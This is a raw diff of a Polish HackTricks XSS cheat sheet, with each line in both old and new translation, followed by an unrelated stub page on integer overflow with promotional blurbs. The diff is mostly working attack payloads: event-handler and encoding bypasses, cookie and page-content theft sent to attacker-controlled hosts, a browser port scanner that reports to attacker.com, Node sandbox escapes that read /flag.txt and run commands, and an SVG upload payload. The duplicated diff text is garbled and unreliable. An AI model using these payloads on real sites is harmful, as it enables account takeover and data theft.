Jeśli do wykorzystania podatności potrzebujesz, aby **użytkownik kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**wykorzystać Clickjacking**](../clickjacking.md#xss-clickjacking) (jeśli strona jest podatna).
### Niemożliwe - Dangling Markup
### Niemożliwe - Wiszące znaczniki
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Wiszące znaczniki**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
## Wstrzykiwanie wewnątrz tagu HTML
### Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzednim rozdziale](./#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku, jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu_):
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku takiego jak (_zauważ, że w tym przykładzie cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio w tagu_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,9 +273,9 @@ Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz t
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### W atrybucie
### Wewnątrz atrybutu
Nawet jeśli **nie możesz uciec od atrybutu** (`"` jest kodowane lub usuwane), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł ją nadużyć. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykonuje dowolny kod po kliknięciu.\
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł ją nadużyć. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie można użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
**Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
@ -311,7 +311,7 @@ Zauważ, że **każdy rodzaj kodowania HTML jest poprawny**:
```
### Specjalne protokoły wewnątrz atrybutu
W niektórych miejscach można użyć protokołów **`javascript:`** lub **`data:`** do **wykonania arbitralnego kodu JS**. Wymaga to interakcji użytkownika w niektórych przypadkach, a w innych nie.
Możesz tutaj użyć protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagać interakcji użytkownika, a inne nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Miejsca, w których można wstrzyknąć te protokoły**
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu akceptującym atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie w `<img`)
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie w `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,17 +359,17 @@ _**W tym przypadku kodowanie HTML i sztuczka kodowania Unicode z poprzedniej sek
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **wejście wewnątrz `javascript:...` jest kodowane URL**, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz **wyjść** ze **stringa** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowane URL**, pamiętaj, że **to nie ma znaczenia**, zostanie to **zinterpretowane** jako **pojedynczy cudzysłów** podczas **wykonywania**.
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **wejście wewnątrz `javascript:...` jest kodowane URL**, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz **wyrwać się** ze **stringa** używając **pojedynczego cudzysłowu** i widzisz, że **jest on kodowany URL**, pamiętaj, że **to nie ma znaczenia**, zostanie to **zinterpretowane** jako **pojedynczy cudzysłów** podczas **wykonywania**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Zauważ, że jeśli spróbujesz **użyć zarówno** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payloadu**.
Zauważ, że jeśli spróbujesz **użyć jednocześnie** `URLencode + HTMLencode` w dowolnej kolejności do zakodowania **payloadu**, to **nie** **zadziała**, ale możesz je **mieszać wewnątrz payloadu**.
**Używanie kodowania szesnastkowego i ósemkowego z `javascript:`**
Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej) do deklaracji **tagów HTML do wykonania JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -381,20 +381,20 @@ Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątr
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Odwrócone wyłudzanie danych z karty (Reverse tab nabbing)
### Odwrócenie uwagi nabijania
```javascript
<a target="_blank" rel="opener"
```
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank"`** i **`rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### na Pomijanie Obsługi Zdarzeń
### na Bypassach Obsług Zdarzeń
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" event handlers**.\
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **obsług zdarzeń "on"**.\
W przypadku, gdy istnieje czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących bypassów:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS w "Niewykorzystywanych tagach" (ukryte pole wejściowe, link, kanoniczny, meta)
### XSS w "Tagach niemożliwych do wykorzystania" (ukryte pole wejściowe, link, kanoniczny, meta)
Z [**tutaj**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **teraz możliwe jest nadużycie ukrytych pól wejściowych za pomocą:**
```html
@ -424,7 +424,7 @@ A w **meta tagach**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload wewnątrz atrybutu ukrytego**, pod warunkiem, że **przekonasz** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **payload XSS w atrybucie ukrytym**, pod warunkiem, że uda ci się **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -432,7 +432,7 @@ Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Moż
### Ominięcie czarnej listy
W tej sekcji już przedstawiono kilka sztuczek z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
W tej sekcji już przedstawiono kilka sztuczek związanych z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
* **Kodowania HTML (tagi HTML)**
* **Kodowania Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
@ -454,7 +454,7 @@ Jeśli znalazłeś **XSS w bardzo małej części** strony internetowej, która
Na przykład, możesz dodać pewne style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
> .test {display:block; color: blue; width: 100%\}
@ -474,15 +474,15 @@ W tych przypadkach **twój input** będzie **odzwierciedlany wewnątrz kodu JS**
### Ucieczka przed tagiem \<script>
Jeśli twój kod jest wstawiony między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uciec zamykając tag `<script>`**:
Jeśli twój kod jest wstawiany między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uniknąć zamknięcia tagu `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak dlatego, że **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
### Wewnątrz kodu JS
Jeśli `<>` są oczyszczane, nadal możesz **uśmiercić ciąg znaków** tam, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
Jeśli `<>` są oczyszczane, nadal możesz **użyć znaków ucieczki w ciągu znaków**, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ w przypadku jakichkolwiek błędów kod JS nie zostanie wykonany:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -490,8 +490,9 @@ Jeśli `<>` są oczyszczane, nadal możesz **uśmiercić ciąg znaków** tam, gd
```
### Szablony literałów \`\`
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `** . Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }` .\
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS, który używa backticks, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS, który używa backticków, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
Można to **wykorzystać** używając:
```javascript
@ -519,7 +520,7 @@ loop``````````````
```
### Techniki omijania czarnych list w JavaScript
**Ciągi znaków**
**Łańcuchy znaków**
```javascript
"thisisastring"
'thisisastrig'
@ -563,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nowe linie JavaScript (z** [**sztuczka nowej linii w JavaScript**](./#javascript-new-lines) **)**
**Nowe linie JavaScript (z triku** [**Nowa linia w JavaScript**](./#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -743,13 +744,13 @@ Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez
{% endcontent-ref %}
Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\
Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobbering DOM**](dom-xss.md#dom-clobbering).
Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobbering w DOM**](dom-xss.md#dom-clobbering).
## Inne metody bypassowania
### Znormalizowany Unicode
Możesz sprawdzić, czy **odbijane wartości****znormalizowane do unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
Możesz sprawdzić, czy **odbijane wartości****znormalizowane pod kątem Unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
### Bypass flagi PHP FILTER\_VALIDATE\_EMAIL
```javascript
@ -757,7 +758,7 @@ Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane do unicode**
```
### Pominięcie Ruby-On-Rails
Ze względu na cytaty **masowego przypisania RoR** są wstawiane do HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
Ze względu na **masowe przypisanie RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -766,9 +767,9 @@ Para "Klucz","Wartość" zostanie odesłane w ten sposób:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
### Specjalne kombinacje
Następnie zostanie wstawiony atrybut onfocus i wystąpi XSS.
### Specjalne kombinacje
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
@ -800,7 +801,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS z wstrzykiwaniem nagłówka w odpowiedzi 302
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niebanalne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz nagłówka Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.
@ -857,7 +858,7 @@ Odpowiedź to:
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala poprawić składnię importu
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala na poprawę składni importu
```html
<script type="importmap">
{
@ -919,7 +920,7 @@ Jeśli strona zwraca typ zawartości text/xml, można wskazać przestrzeń nazw
```
### Specjalne wzorce zastępowania
Gdy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), aby próbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Kiedy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement), aby spróbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), zostało to użyte do **wydobycia łańcucha JSON** wewnątrz skryptu i wykonania dowolnego kodu.
@ -931,7 +932,7 @@ Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
### Ucieczka z więzienia XS
Jeśli masz do dyspozycji ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów z XSJail:
Jeśli masz do dyspozycji tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów związanych z XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -962,16 +963,16 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), można generować przydatne obiekty "z niczego", aby nadużyć wykonania arbitralnego niezaufanego kodu:
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), możliwe jest generowanie przydatnych obiektów "z niczego", aby nadużyć wykonanie arbitralnego niezaufanego kodu:
* Korzystając z import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Dostęp do `require` pośrednio
* Otrzymywanie dostępu do `require` pośrednio
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js wewnątrz funkcji, tak jak tutaj:
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js w funkcję, tak jak tutaj:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -983,7 +984,9 @@ Dlatego jeśli z tego modułu możemy **wywołać inną funkcję**, można uży
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
W podobny sposób do poprzedniego przykładu, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
{% endcode %}
Podobnie jak w poprzednim przykładzie, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
```javascript
try {
null.f()
@ -1020,7 +1023,7 @@ console.log(req('child_process').execSync('id').toString())
}
trigger()
```
### Obfuskacja i Zaawansowane Bypassowanie
### Obfuskacja i Zaawansowane Ominięcia
* **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
@ -1063,6 +1066,14 @@ trigger()
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Pułapka Iframe
Spowoduj, że użytkownik będzie nawigować po stronie bez wychodzenia z ramki i przejmij kontrolę nad jego działaniami (w tym informacje wysyłane w formularzach):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Pobierz ciasteczka
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
@ -1102,7 +1113,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true);
xhr.send(null);
```
### Znajdź wewnętrzne adresy IP
### Znajdowanie wewnętrznych adresów IP
```html
<script>
var q = []
@ -1148,7 +1159,7 @@ q.shift()();
}
</script>
```
### Skaner portów (fetch)
### Skaner portów (pobierz)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1167,9 +1178,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują na brak odpowiedzi._
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują brak odpowiedzi._
Sprawdź listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Przejrzyj listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Pole do wprowadzenia danych uwierzytelniających
```markup
@ -1311,7 +1322,7 @@ Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może
### XSS do SSRF
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez Wstrzyknięcie Include Edge Side z tym ładunkiem:
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez wstrzyknięcie kodu Edge Side Include za pomocą tego payloadu:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1339,11 +1350,11 @@ AMP, mający na celu przyspieszenie wydajności strony internetowej na urządzen
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza konkretne komponenty AMP na maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w swoich mailach.
Przykładowy [**opis XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Przykład [**opisu XSS w Amp4Email w Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS wgrywający pliki (svg)
Wgraj jako obraz plik o następującej zawartości (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Wgraj jako obraz plik podobny do poniższego (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1415,7 +1426,7 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).

View file

@ -0,0 +1,31 @@
# Przepełnienie liczby całkowitej
<details>
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Sprawdź:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>